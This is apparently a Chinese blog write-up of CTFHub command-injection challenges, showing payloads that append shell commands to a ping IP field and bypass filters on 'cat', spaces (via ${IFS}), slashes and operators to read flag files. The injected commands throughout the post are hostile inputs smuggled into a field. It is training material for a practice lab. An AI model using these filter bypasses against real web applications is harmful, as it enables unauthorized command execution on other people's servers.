ctfhub——命令行注入

一、过滤cat

看到源代码发现会将cat过滤到

那我们就可以通过空变量绕过

127.0.0.1;ca${x}t flag_168662771031779.php

打开控制台发现代码里面出现了flag,即通过成功

二、过滤空格

  1. 因为空格会被过滤掉,所以我们直接不写空格
  2. 127.0.0.1|ls后看到了flag文件

  1. 过滤掉了空格,我们使用${IFS}去绕过,IFS是shell的特殊环境变量,是linux下内部域分隔符。$IFS中储存的值可以是空格、制表符、换行符或其它自定义符号
  2. 并没有出现ping的结果输出,所以我们F12查看源码,发现flag,题目解决

三、过滤分隔符

这段代码首先检查是否存在名为ip的GET参数,并且该参数的值不为空。如果满足条件,将获取GET参数ip的值赋给变量$ip。接着,创建一个空数组$m,然后通过正则表达式preg_match_all("/\//", $ip, $m)来检查$ip中是否包含斜杠/。如果$ip中不包含斜杠,则会执行以下操作:

  1. 构建一个ping命令,用于向指定IP地址发送4个数据包。
  2. 使用exec()函数执行该命令,并将结果存储在数组$res中。

如果$ip中包含斜杠,则直接将匹配结果存储在数组$res中。

127.0.0.1;cat flag_is_here;ls/

127.0.0.1;cd flag_is_here;cat flag_5024734519662.php

既然不能使用目录分隔符,那我们就先进入目录再去查看文件

127.0.0.1;cd flag_is_here;cat flag_5024734519662.php

回显空白,得到flag

四、过滤运算符

运算符都被过滤掉了,我们也可以使用;。

;可以执行多条语句

127.0.0.1;cat flag_224813101720269.php

回显空白,得到flag

  • 6
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值